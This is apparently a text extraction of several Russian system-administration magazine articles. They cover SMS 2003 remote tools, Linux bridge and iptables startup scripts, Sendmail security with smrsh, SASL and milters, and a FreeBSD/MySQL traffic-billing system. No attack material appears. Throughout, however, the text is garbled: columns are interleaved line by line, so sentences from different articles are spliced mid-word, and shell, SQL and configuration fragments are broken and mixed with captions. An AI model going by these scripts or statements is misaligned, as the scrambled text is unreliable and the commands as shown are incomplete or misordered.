соли SMS Administrator Console рас- Рисунок 9. Создание пакета NetFrameWork
крыть узел «Site Database → Site
Hierarchy → имя сайта → Site Settings →
Client Agents» и разрешить использо-
вание Remote Tools на клиентах, ус-
тановив соответствующий флажок
в свойствах «Remote Tools Client
Agent». Там же на вкладке Policy мож-
но настроить необходимые разреше-
ния для удаленного управления, а на
вкладке «Notifications» – уведомления
о подключении на удаленном компью-
тере. Как обычно, для ускорения об-
новления политики на клиентском ком-
пьютере можно воспользоваться ап-
летом «Systems Management» в пане-
ли управления и на вкладке «Actions»
запустить «Initiate Action для Machine
Policy Retrieval» и для «User Policy
Retrieval». Для того чтобы воспользо-
ваться «Remote Tools», щелкните пра-
вой кнопкой мыши на имени компью- Рисунок 10. Настройка параметров установки новой программы (NetFrameWork)
тера из нужной коллекции в консоли
SMS Administrator Console, далее из пьютере. Эти пункты доступны только Настройка SMS 2003 – непростая
контекстного меню «All Tasks → Start для «Advanced Clients». Для «Legacy задача и требует максимум терпения,
Remote Tools». В открывшемся окне Clients» в окне «Remote Tools» из па- но время, потраченное на освоение
из меню «Tools» выберите «Remote нели инструментов доступны вкладки и настройку SMS, окупится сторицей.
Control», чтобы начать работу с уда- «Windows Memory» и др. И не раз вы будете вспоминать доб-
ленным рабочим столом. Останавли- Все возможности продукта ком- рым словом этот продукт, когда сроч-
ваться подробно на удаленном адми- пании Microsoft – SMS 2003 невоз- но понадобится вывести отчет по пар-
нистрировании я не буду. Хочется толь- можно описать на страницах жур- ку вычислительной техники по како-
ко отметить, что помимо пункта «Start нала. Но, разобравшись с базовы- му-либо нестандартному критерию,
Remote Tools» из контекстного меню, ми принципами вы можете двигаться а у вас и обычный-то список уже уста-
доступного по нажатию правой кноп- дальше и настраивать его под конк- рел, или понадобится установить но-
ки мыши на объекте выделенного ком- ретные задачи, ведь рассмотренная вое ПО на сотни компьютеров, причем
пьютера, есть еще пункты «Start Event конфигурация не единственно воз- немедленно. Стабильно работающий
Viewer», «Start Windows Diagnostics» можная. Следующий этап, особенно и должным образом настроенный SMS
и «Start Windows Performance Monitor», для крупных компаний, – охват уда- существенно сократит время, затрачи-
которые позволяют получить дополни- ленных филиалов и мобильных поль- ваемое на рутинную работу по инвен-
тельные сведения об удаленном ком- зователей. таризации и обновлению.
Современный Linux-сервер:
виртуализируем сетевые устройства
Часть 2
Алексей Барабанов
18
администрирование
В
первой части статьи [1] были предложены пути и де-
тально разобраны принципы искусственной вир-
туализации сетевых интерфейсов. Виртуализация
не просто для усиления названа искусственной. Создание
по специальному сетевому мосту на каждый используемый
интерфейс не является самоцелью. Таким образом, дости-
гаются следующие преимущества:
Постоянство схемы разметки и наименования сетевых
устройств.
Независимость настройки сетевых сервисов от состо-
яния реальных линий связи.
Автоматизация сетевой коммутации.
Удобство подключения виртуальных серверов.
20
администрирование
должны выполниться после системного старта. Это пре-
красное место для инициализации сетевого экрана и кон-
троля настроек udev. Сначала заблокируем весь трафик
скриптом fw-init:
#!/bin/sh
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -X
iptables -t nat -X
iptables -t mangle -X
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
#!/bin/sh
IPT=$(which iptables)
LIST1=("-A OUTPUT" "-A INPUT" "-A FORWARD" "-t nat ↵
-A POSTROUTING")
LIST2=("-o" "-i" "-i" "-o")
LIST3=("OUTPUT" "INPUT" "FORWARD" "POSTROUTING")
SIZE=4
IF=lo
I=0
while [ "$I" -lt "$SIZE" ] ; do
J=${LIST1[$I]}
K=${LIST2[$I]} Рисунок 3. Стартовая последовательность
L=${LIST3[$I]}
$IPT $J $K $IF -j ACCEPT В точке 2 (см. рис. 3) отработает boot.udev, который по
$IPT $J -j LOG --log-prefix "main $L DROP " ↵
--log-level notice стандартным зависимостям выполняется после boot.local,
$IPT $J -j DROP и настроит необходимое для работы службы udev.
I=$((I+1))
done И теперь в точке 3 (см. рис. 3) все готово для создания
$IPT -P INPUT ACCEPT виртуальных устройств сетевых мостов. Этим будет за-
$IPT -P OUTPUT ACCEPT
$IPT -P FORWARD ACCEPT ниматься специальный стартовый скрипт bridgeprep. Пол-
ный его текст, точно так же, как тексты всех используемых
Этот скрипт поместит в каждую цепочку разрешение здесь программ, размещается в прилагаемом архиве [3].
для трафика через lo, явное протоколирование и уничто- Все стартовые скрипты SUSE пишутся согласно стандарт-
жение всего остального трафика, и поменяет политики ному шаблону /etc/init.d/skeleton. Поэтому отмечу лишь ак-
на разрешительные. Сохранение политики DROP не поз- туальные и системно-зависимые части.
волит с помощью анализа логов понять причину непра- Во-первых, в самом начале создается управляющая
вильной работы сети в случае ошибок в настройке сете- секция согласно LSB:
вого экрана. А так, если уничтожение пакетов происходит
явным образом, можно обнаружить, куда исчезает тра- ### BEGIN INIT INFO
# Provides: bridgeprep
фик. Скрипты являются частью системы управления се- # Required-Start: boot.udev
тевым экраном, которая здесь не описана. Разделение их # Required-Stop: boot.udev
# Default-Start: 2 3 5
на два независимых файла сделано для того, чтобы мож- # Default-Stop:
но было каждой функцией воспользоваться по отдельнос- # Short-Description: Ethernet bridge
# Description: Start Bridge to allow configure
ти. Например, fw-init просто очищает все настройки iptables Bridge device
и блокирует трафик. ### END INIT INFO
Ну и напоследок чрезвычайно простая программка
fixudev, удаляющая все строки в настройках udev, изменяю- Здесь задается специальный идентификатор – bridgeprep,
щие имена в те, что используются в схеме виртуализации: который позволит ссылаться на этот скрипт из управляющих
секций других скриптов, далее указывается очередность –
#!/bin/sh после boot.udev, и уровни выполнения, в которые скрипт
N=/etc/udev/rules.d/30-net_persistent_names.rules
T=/tmp/30-net_persistent_names.rules.$$ включается по умолчанию. Если скрипт с такой управляю-
cat $N | grep -v "k eth" >$T щей секцией установить командой «chkconfig bridgeprep on»,
mv $T $N
то он будет включен в уровни 2, 3, 5 на любое свободное
Такой скрипт, конечно же, может испортить настройку место очередности в стартовой последовательности пос-
нового сетевого интерфейса, произведенную через YaST, ле boot.udev, а в стоповой – до boot.udev.
но он не позволит разрушить уже созданную сетевую на- Во-вторых, проверяется программное окружение и на-
стройку из-за конфликта имен. страиваются внутренние переменные:
22
администрирование
$BRIDGE_BIN addif $i $k
BRIDGE_POOL=`remove_dev $k`
}
done
else
...
BRIDGE_DEVS_eth0="hweth0 hweth2"
Как уже видно, за эту ветку настройки отвечает специ- BRIDGE_ARP_eth2="10.0.0.1 10.0.0.2"
альная строка конфигурации сетевого моста:
Очередной фрагмент кода bridgeup, отвечающий за сле-
BRIDGE_TCPDUMP_eth0="802.1d config" дующую альтернативу else, вызываемую в отсутствие
других настроек, проверит существование переменной
Если она определена, то скрипт перебирает все устройс- BRIDGE_ARP-устройство и произведет соответствующую
тва, оставшиеся в списке незанятых (BRIDGE_POOL), и про- проверку оставшихся в списке BRIDGE_POOL-устройств
веряет протокол перехваченного tcpdump трафика с помо- в поиске подходящего:
щью check-tcpdump на совпадение с заданным образцом.
Безусловно, выбор правильного и эффективного образца eval j=\$BRIDGE_ARP_$i
if [ "1$j" != "1" ] ; then
для сравнения всецело на совести системного администра- # check arp
тора, производящего настройку, так как бывают сети с чрез- L=""
for k in ${BRIDGE_POOL} ; do
вычайно замусоренным трафиком. Например, данная стро- n=`${BRIDGE_CHK_ARP} $k $j | grep BINGO`
ка поиска работала до тех пор, пока в сети MAN не был под- [ "1$n" != "1" ] && {
$BRIDGE_BIN addif $i $k
ключен аналогичный коммутатор, как и в локальной сети. L="$L $k"
Тогда пришлось заменить контрольный образец на более }
done
подробный «802.1d config 8000.00:11:d8:cb:df:99.8001», со- for k in $L ; do
держащий MAC-устройства. И именно по этой причине или BRIDGE_POOL=`remove_dev $k`
24
администрирование
done После того как только кабели снова были возвраще-
fi
fi ны на старые места и перезапущен bridgeup, все пришло
fi в норму:
Сергей Супрунов
Как бы ни был гибок и функционален Sendmail, его возможностей не всегда хватает
для решения всего многообразия задач. Но открытость ПО тем и хороша, что позволяет
наращивать мощь практически без ограничений.
Защиты не бывает много но найти в статье «Практикум Python: лочке, но есть возможность вносить
Sendmail, как было показано в предыду- обрабатываем входящую электронную изменения в .forward-файл через веб-
щих частях статьи (№ 5, 6, 7 за 2006 г.), почту» (№2 за 2006 г.). интерфейс). Конечно, Sendmail снижа-
позволяет, используя файл aliases или Однако здесь скрывается потенци- ет до минимума негативные последс-
пользовательские .forward-файлы, пе- альная проблема безопасности – если твия этой возможности, запуская про-
ренаправлять входящие сообщения у пользователя будет возможность са- цесс, выполняющий такую обработ-
на обработку сторонними программа- мостоятельно указывать любые про- ку, от имени пользователя-владельца
ми. Сам механизм достаточно прост: граммы в качестве обработчиков поч- .forward-файла. Но нельзя забывать,
письмо в исходном формате поступа- ты, то всегда остаётся вероятность, что в системе могут быть исполняе-
ет на стандартный вход (stdin) указан- что он воспользуется этим для несан- мые файлы, на которые установлен бит
ной программы или скрипта, который кционированного вызова програм- suid, что в ряде случаев может привес-
в дальнейшем занимается его обра- мы, к которой в нормальных условиях ти к печальным последствиям...
боткой. Несложный пример реализа- у него нет доступа (например, не пре- Д л я р е ш е н и я это й п р о бл е м ы
ции такого сценария на Python мож- доставляется доступ к командной обо- Sendmail можно настроить на работу
26
администрирование
Cyrus SASL SASL. Будучи разработанной для нужд таких как LOGIN и PLAIN, однако их реко-
Механизм аутентификации SASL (Simple Cyrus IMAP Server, она широко использует- мендуется использовать только при рабо-
Authentication and Security Layer) использу- ся и для других задач, включая SMTP-ау- те по защищённому соединению.
ется для реализации безопасной аутенти- тентификацию. Для выполнения ау тентификации
фикации в связке с другими интернет-про- Cyrus SASL под держивает широ - используется входящий в состав Cyrus
токолами. Помимо аутентификации, SASL кий набор механизмов аутентификации – SASL демон saslauthd. Он умеет прово-
предоставляет механизмы проверки це- CRAM-MD5, DIGEST-MD5, Kerberos, GSSAPI дить проверку пароля как по собствен-
лостности данных. (спецификация Kerberos 5). При необходи- ной базе, так и используя механизмы
Одной из наиболее популярных реа- мости может быть разрешена поддержка PAM, LDAP, системный файл паролей
лизаций SASL является библиотека Cyrus механизмов «плоской» аутентификации, /etc/passwd, и т. д.
с «ограниченной оболочкой» (restricted shell for sendmail) – ществует ограниченный и стабильный список внешних се-
smrsh. Особенностью этой оболочки является то, что она тей для доступа к почте), то задача ограничения режима рет-
позволяет запускать программы только из своего катало- рансляции почты, чтобы ваш MTA не стал «открытым реле-
га, в системах FreeBSD по умолчанию это /usr/libexec/sm.bin ем», решается довольно легко с помощью файла access.
(изменить можно перекомпиляцией утилиты с флагом Но как только у вас появляются пользователи, которым
-DSMRSH_CMDDIR). нужно обеспечить возможность работы с их электронной
Как это работает, лучше всего посмотреть на приме- почтой из любой точки мира, возникает определённая про-
ре (после ключа -c указывается имя выполняемой про- блема. И наиболее приемлемым её решением будет исполь-
граммы): зование аутентификации.
Пожалуй, самой удобной методикой для Sendmail яв-
# pwd ляется использование SASL-аутентификации силами па-
/usr/libexec/sm.bin кета SASL-Auth. По умолчанию Sendmail во FreeBSD соби-
рается без поддержки SASL, в чём можно убедиться, по-
# ls -l
дав такую команду:
total 0
lrwxr-xr-x 1 root wheel 18 29 июн 10:13 thetest -> /home/serg/test.sh $ sendmail -d0.1 -bv
lrwxr-xr-x 1 root wheel 10 29 июн 10:01 w -> /usr/bin/w
LDAP протокол DAP, который и послужил основой информации, что упрощает её сопровож-
Lightweight Directory Access Protocol – об- для разработки более простого и удобно- дение (включая резервирование), позволя-
легчённый протокол доступа к каталогам – го в работе LDAP. ет также снизить задержки при получении
это протокол, призванный обеспечить ра- Записи, хранящиеся в ката лога х информации, если объёмы данных дости-
боту так называемой службы каталогов. LDAP, представлены уникальными имена- гают значительных величин.
Службы каталогов используются для цен- ми (distinguished name) и рядом атрибутов, Помимо свободной реализации служ-
трализованного хранения различной ин- определяемых в так называемых схемах. бы каталогов – OpenLDAP, широко исполь-
формации, такой как пользовательские Структура записей позволяет легко орга- зуемой в системах семейства UNIX/Linux,
учётные записи, адресные книги, различ- низовать записи в виде дерева. существует ряд других (например, Active
ные настройки. Основным преимуществом LDAP пе- Directory, предназначенная для управле-
Первоначально служба каталогов (оп- ред «плоскими» файлами или реляционны- ния сетями Windows).
ределённая в протоколе X.500) была ори- ми базами данных является ориентирован- Сам протокол LDAP определён в RFC
ентирована на обслуживание почтовых се- ность на высокую скорость чтения. С учё- 1777, RFC 2251 (версия 3). Существует так-
тей стандарта X.400, разработанного OSI. том очень эффективного кэширования, ис- же большое число расширяющих и допол-
Для доступа к этой службе использовался пользование LDAP, помимо централизации няющих документов.
28
администрирование
Эта команда подключит схему для Sendmail (где определе- your.domain procmail
ны допустимые атрибуты записей), что необходимо для пра-
вильного заполнения нужных полей. Второй вариант – включить в mc-файл директиву
Теперь осталось занести в каталог LDAP необходимые FEATURE(`local_procmail’), которая даст указание исполь-
записи (как это сделать, смотрите в документации по LDAP; зовать procmail в качестве стандартного LDA (объявленно-
несколько полезных ссылок приведено в конце статьи) и до- го как local).
your.domain dbmail
Рисунок 1. Схема прохождения сообщений other.domain dbmail-lmpt:[127.0.0.1]
Далее, если вы хотите просто перейти на использо- Естественно, вы можете указать использование dbmail
вание хранилища формата Maildir вместо стандартного только для необходимых доменов. Не забудьте всё пере-
mailbox, то в качестве LDA можно подключить, например, собрать и перезагрузить процесс sendmail, чтобы измене-
программу maildrop: ния вступили в силу.
Думаю, можно также безболезненно воспользоваться
FEATURE(`local_procmail', `/usr/local/bin/maildrop', ↵ тем же приёмом, которым мы подключали maildrop (т.е. со-
`maildrop -d $u')
здав видимость, что наш dbmail – это procmail, и восполь-
Здесь мы воспользовались той же самой директивой, толь- зовавшись готовыми шаблонами для этого LDA). Правда,
ко вместо пути к procmail указали нужный нам. Кстати, если на практике это не испытывал.
procmail у вас установлен нестандартно (т.е. не в /usr/local/bin),
то и для его подключения потребуется указывать полный путь. Расширенные возможности фильтрации
Естественно, для полноценной работы с Maildir ваш POP3/ Очень широкие возможности для обработки сообщений
IMAP-сервер тоже должен уметь работать с этим форматом, предоставляют появившиеся в версии 8.11.6 (неофициаль-
впрочем, это уже совсем другая история… но – с 8.10) почтовые фильтры, или «мильтеры» (milter, аб-
бревиатура от Mail fILTER).
Следующий шаг к совершенству – Почтовые фильтры широко применяются для взаимо-
DBMail действия с такими программами, как антивирусы, спам-
Для полного счастья хорошо бы ещё добавить гибкости фильтры и т. д. То есть они, по сути, предоставляют возмож-
почтовым ящикам пользователей. Одно из решений – ис- ность «заворачивать» обрабатываемое сообщение сторон-
пользовать для их хранения реляционную СУБД, что и ре- ней программе через сетевой или UNIX-сокет. Кстати гово-
ализуется проектом DBMail. ря, использование для взаимодействия сокетов позволя-
Подробно о DBMail здесь мы говорить не будем (этот ет размещать программу-фильтр на другой машине в сети,
пакет с успехом может применяться не только в связке что в ряде случаев может быть полезно для централизации
с Sendmail, но и с другими популярными MTA). Некоторая обработки или для снижения нагрузки на основной сервер,
общая информация представлена во врезке «DBMail». Так- если фильтрация требует существенных вычислительных
же обратитесь к статье Евгения Прокопьева «Почтовый сер- ресурсов или создаёт большую нагрузку на дисковую под-
вер на основе реляционной СУБД» (№1 за 2006 г.), где ра- систему. Но нельзя забывать и о дополнительных задерж-
бота DBMail освещена очень детально. ках в этом случае, равно как и о безопасности передавае-
Поскольку размещение входящей корреспонденции мой по сокету информации.
по почтовым ящикам пользователей не является функци- Фильтр позволяет контролировать обработку письма
ей MTA (как вы помните из первой части статьи, этим за- начиная с момента установления соединения с удалённым
нимается агент локальной доставки (LDA)), то с точки зре- сервером и до полного его получения. В любой момент об-
ния Sendmail его логика обработки сообщений совершен- работка может быть прервана с помощью одного из фла-
но не меняется. Всё что требуется – это зарегистрировать гов возврата: ACCEPT (принять сообщение), REJECT (от-
DBMail в качестве LDA и дать указание Sendmail использо- клонить с уведомлением об этом отправителя) или DISCARD
вать именно его для доставки входящей корреспонденции, (отбросить без каких-либо уведомлений). То есть, скажем,
как мы это делали для procmail. Первая задача решается если необходимость отклонить сообщение будет выявлена
одной из следующих директив в mc-файле: на ранних стадиях сеанса, например, на основе информа-
ции, помещённой в заголовок, то это можно будет сделать
MAILER(dbmail) до того, как письмо будет принято полностью. Ещё один
MAILER(dbmail-lmtp)
пример использования такой возможности – приём сооб-
Первая строка подключает DBMail в качестве LDA, ра- щения (ACCEPT) без проверки всех вложений на вирусы,
ботающего обычным образом (по конвейеру (pipe)), вто- если в заголовке будет обнаружена строка, информирую-
30
администрирование
щая о том, что такая проверка уже выполнялась сервером Флаги тайм-аутов
отправителя (хотя всецело доверять таким заголовкам, ко- Флаг Описание
нечно же, не стоит). C Задержка при соединении с фильтром
Помимо решения о том, принять или отклонить сооб-
E Задержка при ожидании подтверждения полной передачи
щение, milter позволяет вносить изменения в тему или те-
ло сообщения, добавлять строки в заголовок, и т. д. Бла- R Задержка при ожидании ответа фильтра
годаря этому можно, например, поместить в заголовок ин- S Задержка передачи данных фильтру
формацию о выполненной антивирусной проверке или ос-
тавить пометку, что письмо признано вероятным спамом. вать фильтры на родном для Sendmail языке C (в списке
Именно так поступают многие антивирусные и антиспамо- дополнительной литературы вы найдёте ссылку на при-
вые пакеты. мер разработки milter для дублирования исходящей поч-
Условно схема прохождения письма через подключен- ты на некоторый адрес). Существуют «привязки» к это-
ные фильтры показана на рис. 1. Фильтров может быть му API для других языков программирования, например,
сколь угодно много (реальное ограничение накладывает- для Perl (модуль Sendmail::Milter, в коллекции портов –
ся лишь нагрузкой на систему и требованиями к допусти- mail/p5-Sendmail-Milter) и Python (интерфейс Python Milter,
мой задержке при обработке сообщений). Порядок приме- в Портах – mail/py-milter). Прекрасный пример разработки
нения фильтров определяется порядком их подключения фильтра на Python рассматривался в статье Романа Сузи
в конфигурационном файле. «Почтовый фильтр, или Milter = Mail + Filter» (№2 за 2003 г.,
Кстати, о конфигурации... Подключается milter такой статью вы можете найти на сайте журнала в разделе «Ста-
директивой: тьи».).
32
администрирование
Александр Чагадаев
Если пользователи жалуются, что Интернет «тормозит», а начальство ругается, что счета
от провайдера слишком большие, покупка готового биллинга – не единственный выход.
В настоящее время большинство юри- ми и специальным образом настро- мой большой опыт работы с ним;
дических лиц – пользователей Интер- енной (включён сервис NAT) сетевой наличие очень удобного инстру-
нета – оплачивают услуги исходя из ко- ОС (FreeBSD, Linux, Windows, Solaris мента IBExpert (http://www.ibexpert.
личества принятого (и/или переданно- и т. д.). Или же это может быть специ- com).
го) трафика. ально разработанное устройство (не-
Для небольших организаций плата редко также использующее одну из пе- Против:
за трафик не является такой уж незна- речисленных выше ОС). Возможны работа текущей на тот момент вер-
чительной, и остро встаёт вопрос учета и другие варианты, я рассмотрю на- сии (1.5) только из-под inetd. На сер-
трафика, израсходованного конкрет- иболее распространенный. вере этот демон не использовался
ным пользователем, и целей, на кото- В своё время передо мной была и поднимать его только ради бил-
рые этот трафик был потрачен. Проще именно такая задача – учёт и ограни- линга не хотелось;
говоря, руководству организации нуж- чение трафика. В качестве роутера ис- поддержка транзакций, обеспечива-
на информация о посещённых сайтах пользовался ПК с 2 сетевыми карта- ющих большую надёжность в ущерб
в случае использования протокола http, ми и установленной ОС FreeBSD. Не- скорости, что для нашей системы
скачанных файлах в случае использо- смотря на кажущуюся распространён- совершенно неоправданно.
вания протокола ftp и т. д. Причём неко- ность – почти банальность – задачи,
торых сотрудников бывает сложно убе- полностью устраивающее готовое ре- В конечном счёте, я остановился
дить, что большой трафик – результат шение найти не удалось. (Рассмат- на MySQL (4-я или 5-я версии, но, ду-
их собственных действий, если не пре- ривались только бесплатные систе- маю, будет работать и с 3-й).
доставить подробного списка ресурсов мы.) В результате было принято ре- Язык программирования для об-
с данными о трафике. шение писать собственную биллинго- щения с базой данных – PHP, за C-по-
По тем или иным причинам (забота вую систему. добный синтаксис, возможность ис-
организации об информационной бе- пользования программ на нём как
зопасности, дефицит реальных IP-ад- Используемое ПО просто в системе, так и внутри HTML-
ресов у провайдера) подключение Для сбора трафика используется BPFT страниц.
внутренней ЛВС организации к Ин- (http://bpft4.sourceforge.net). Систе-
тернету обычно происходит через ро- ма построена на основе библиотеки Система учёта IP-трафика
утер, установленный на границе меж- libpcap и использует механизм BPF Функционально в системе биллин-
ду внутренней ЛВС организации и Ин- (Berkley Packet Filter «pseudo-device») га можно условно выделить три моду-
тернетом. для захвата IP-трафика. ля: учёт трафика, вывод информации
В качестве роу тера может ис- При выборе СУБД я выбирал между об учтённом трафике и модуль разре-
пользоваться ПК с 2 сетевыми карта- MySQL и Firebird. За Firebird было: шения/запрещения пользования Интер-
34
администрирование
Что такое adc_billing дый из них за произвольный про- ветствия MAC и IP-адресов и происхо-
Назначение: система биллинга IP-тра- межуток времени; дит принудительное присваивание со-
фика. список IP-адресов контролируемой ответствия MAC и IP-адресов для про-
Возможности: сети с количеством байт, передан- токола ARP (т.н. статический ARP).
Единая база данных по IT-ресурсам ных с каждого и принятых на каж- По указанной выше причине в теку-
предприятия: ФИО пользователей, дый из них за текущий месяц и се- щей реализации невозможна работа
IP-адреса и названия их компьютеров, годняшний день. на одном ПК нескольких пользовате-
лимиты на пользование Интернетом, Отключение IP-адресов от Интернета лей, у каждого из которых установлен
любые другие данные. согласно месячной таблице лимитов. собственный лимит. Поскольку на са-
Любой пользователь может самостоя- Легкость расширения системы (новые мостоятельную добровольную смену
тельно просмотреть свою статистику. отчёты, новые модули) благодаря про- IP-адреса пользователем рассчиты-
Подсчёт IP (TCP/UDP)-трафика. зрачной структуре таблиц и используе- вать особенно не приходится, пред-
Встроенные отчёты для администра- мого языка программирования – PHP. ставляется возможным реализовать
тора: смену адреса с помощью скрипта.
суммарное количество байт, пе- Недостатки: Текущие SQL-запросы рассчитаны
реданных с каждого и принятых Аутентификация пользователей про- на использование только одной внут-
на каждый из IP-адресов контро- изводится только по IP-адресам. Ни- ренней подсети.
лируемой сети и принятых на IP-ад- как не контролируется возможная сме- Отсутствует специальный HTML-ин-
рес контролируемой сети с группи- на пользователем IP-адреса. Эта осо- терфейс для редактирования данных
ровкой по IP-адресам внешней се- бенность, если в конкретном случае (в т. ч. лимитов) пользователей; ре-
ти за произвольный промежуток она является недостатком, может быть дактирование происходит путём не-
времени; устранена: нужно добавить в таблицу посредственного изменения данных
список IP-адресов контролируемой IP поле «MAC-адрес» и написать ма- в БД. Этот недостаток легко устра-
сети с количеством байт, передан- ленький скрипт, в котором отключает- ним путём написания соответствую-
ных с каждого и принятых на каж- ся автоматическое присваивание соот- щего модуля.
нетом. Поскольку данные в таблицы пишет первый из этих SRC_PORT VARCHAR(5) NOT NULL,
DEST_PORT VARCHAR(5) NOT NULL,
модулей, начнём раздел с описания структуры таблиц. PROTO VARCHAR(4) NOT NULL,
DATA_BYTES INTEGER NOT NULL,
ALL_BYTES INTEGER NOT NULL,
Структура таблиц FIRST_TIME TIMESTAMP NOT NULL,
Создадим базу данных с именем traffic. В базе создадим две LAST_TIME TIMESTAMP NOT NULL,
INDEX(IP_FROM), INDEX(IP_TO), INDEX(SRC_PORT), ↵
таблицы: Ip – данные о IP-адресе и Log – данные о трафике. INDEX(DEST_PORT), INDEX(PROTO), INDEX(ALL_BYTES), ↵
Назначение полей этих таблиц понятно из их названий. INDEX(FIRST_TIME), INDEX(IP_FROM,FIRST_TIME), ↵
INDEX(IP_TO,FIRST_TIME)
Также создадим двух пользователей, имеющих право ) ENGINE = MyISAM
подсоединяться к базе данных только с локального ком- ROW_FORMAT = fixed;
пьютера: insert_user – пользователь, который имеет право
только добавлять данные в базу и view_user – пользователь, Как видно из скрипта create_db_&_users_&_tables.sql,
который имеет право только читать данные из базы. Паро- в качестве формата базы был выбран – MyISAM, который
ли, конечно же, только для статьи – при инсталляции систе- обеспечивает большую скорость работы за счёт отсутствия
мы рекомендуется сгенерировать более стойкие к взлому. транзакций. Параметр ROW_FORMAT определяет, каким об-
разом должны храниться строки в файле базы данных. За-
Файл create_db_&_users_&_tables.sql давая этому параметру значения fixed, мы предписываем
CREATE DATABASE traffic MySQL под каждую переменную типа VARCHAR выделять
DEFAULT CHARACTER SET koi8r не реально занимаемое её значением место, а максималь-
DEFAULT COLLATE koi8r_general_ci;
GRANT INSERT ON traffic.* TO 'insert_user'@'localhost' ↵ но возможное. Например, если мы при создании базы опре-
IDENTIFIED BY '123456789'; делили поле IP_TO как VARCHAR(15), то независимо от дли-
GRANT SELECT ON traffic.* TO 'view_user'@'localhost' ↵
IDENTIFIED BY '987654321'; ны помещённых в него данных, оно всегда будет занимать
USE traffic; 15 байт. Хотя из-за этого файл базы данных будет занимать
CREATE TABLE Ip (
IP VARCHAR(15) NOT NULL PRIMARY KEY, больше места, нам в этой ситуации важнее, что операции
QUOTA INTEGER, с базой будут проходить несколько быстрее.
PCNAME VARCHAR(100),
FNAME VARCHAR(100),
MNAME VARCHAR(100), Настройка ОС FreeBSD
LNAME VARCHAR(100),
EMAIL VARCHAR(200), Ядро системы FreeBSD должно включать поддержку
INDEX(IP) pseudo-device BPF, для чего в файле конфигурации
) ENGINE = MyISAM;
CREATE TABLE Log ( adc-kernel должна присутствовать строка:
NN INTEGER(12) UNSIGNED AUTO_INCREMENT ↵
NOT NULL PRIMARY KEY, # The `bpf' device enables the Berkeley Packet Filter.
IP_FROM VARCHAR(15) NOT NULL, device bpf #Berkeley packet filter
IP_TO VARCHAR(15) NOT NULL,
Альтернативные варианты наличие мощной и гибкой системы шего случая при отсутствии видимых плю-
биллинга использования построения отчётов и несложного сов, оказалось много минусов:
Интернета биллинга SARG (Squid Analysis Report переучивание пользователей процеду-
Первый: proxy-сервер. Давать пользо- Generator) (http://sarg.sourceforge.net). ре подсоединения к Интернету;
вателям доступ в Интернет только че- перенастройка всех компьютеров поль-
рез proxy-сервер Squid, без использова- Недостатки: зователей;
ния NAT. не все программы поддерживают ра- освоение отдельной большой темы сис-
Преимущества: боту через proxy-сервер; темным администратором (возмож-
широкие возможности аутентифика- невозможность отключения пользова- но, его придётся отправлять на курсы
ции; теля сразу при превышении им уста- повышения квалификации, возможно,
очень гибкая возможность ограничения новленного лимита трафика. он освоит это сам, но в любом случае,
доступа к определённым ресурсам; больше знания/умения – больше зара-
наличие в свободном доступе в Интер- Второй: NeTAMS. Использовать бил- ботная плата; в случае ухода – дороже
нете обновляемых баз ресурсов пор- линговую систему NeTAMS (http://www. нанять нового);
нографического/эротического, развле- netams.com) – очень мощную и гибкую, под- усложнение системы (а значит, сниже-
кательного и т. п. характера; держивающую множество методов сбора ние надёжности – это аксиома) из-за
полный протокол всех посещенных информации о трафике (tee, divert, ip_queue, наличия и связывания большего коли-
пользователем страниц (а не только ulog, libpcap, netflow v5, netflow v9, netgraph) чества программ на роутере – на сервер
серверов, как в случае протоколиро- и её хранения (MySQL, PostgreSQL). Единс- придётся установить большое количес-
вания TCP-трафика) c указанием да- твенный недостаток – отсутствие подроб- тво дополнительно программного обес-
ты, времени и количества байт; ной статистики посещённых пользовате- печения (за найденными уязвимостями
возможность блокировки рекламных лем ресурсов. То есть для этой системы и выпущенными обновлениями для ко-
баннеров, что позволяет тем самым это, наверное, и не недостаток – у неё не- торого тоже необходимо следить);
экономить трафик как организации, сколько другие задачи, в первую очередь дополнительная нагрузка на сервер
так и пользователям; сбор информации о трафике с сетевых ус- за счёт использования дополнитель-
кэш единож ды загруженных стра- тройств фирмы Cisco, а для моего случая ного программного обеспечения;
ниц, позволяющий экономить тра- это недостаток. дополнительная нагрузка на сетевую
фик при посещении одним пользова- Третий: VPN или PPPoE. Доступ в Ин- инфраструктуру предприятия из-за
телем ресурса, который уже смотрел тернет можно предоставлять через VPN увеличения объёма трафика за счёт
другой; или PPPoE-подключение к роутеру. Для на- шифрования.
36
администрирование
dump to file"
else
logger -t trafd_dump "trafd on ${iface}: ↵
file ${c_pid} not found (trafd don't listen ↵
on ${iface}?)"
fi
done
Рисунок 1. Интерфейс биллинговой системы, каким его видит
пользователь
Trafd_to_mysql.sh импортирует данные по трафику
на всех прослушиваемых trafd интерфейсах из времен-
ных файлов, созданных trafd_dump.sh, в базу MySQL. Ин-
формация об успехе или неуспехе подачи команды сохра-
няется в syslogd.
Файл trafd_to_mysql.sh
#!/bin/sh
. /etc/rc.conf
*/5 * * * * root ↵
/usr/home/root/sbin/trafd_dump.sh && sleep 30 && ↵
/usr/home/root/sbin/trafd_to_mysql.sh
adc_billing_enable="YES"
1 : #!/bin/sh
Рисунок 4. Подробная статистика для IP-адреса
2 : # PROVIDE: adc_billing
3 : # REQUIRE: mysql
4 : # KEYWORD: shutdown
7 : . /etc/rc.subr
8 : name="adc_billing"
9 : rcvar=`set_rcvar`
10:command="/usr/home/root/sbin/adc_billing.php"
11: stop_cmd="adc_billing_stop"
12: adc_billing_enable=${adc_billing_enable:-"NO"}
13: adc_billing_stop()
14: {
15: echo 'Stopping '${name}'.'
16: }
38
администрирование
Из истории развития стартовых ные строки в длинном файле было боль- Повторное использование кода – ти-
скриптов BSD-систем шой проблемой. пичные операции, выполняемые боль-
Когда-то в BSD-системах был один стар- Другим недостатком такой системы бы- шинством скриптов, выполнены в ви-
товый скрипт – /etc/rc. Процесс init(8) вы- ла невозможность перезапуска какого-ли- де функций на языке sh и собраны
зывал его при запуске ОС для выполне- бо одиночного сервиса. в /etc/rc.subr. Благодаря этому типовые
ния всех действий, которые надо сделать В связи с этим сообществом разра- rc.d-скрипты могут быть длиной всего
в однопользовательском окружении (про- ботчиков NetSBD была создана система лишь в несколько строк.
верка дисков, монтирование разделов, ус- rc.d, которая позднее была импортирова-
тановка параметров сети, запуск различ- на во FreeBSD. Подробную информацию по rc.d-скрип-
ных демонов и т. д.). Конечно же, список Вот идеи, положенные в её основу: там можно найти в руководстве по FreeBSD –
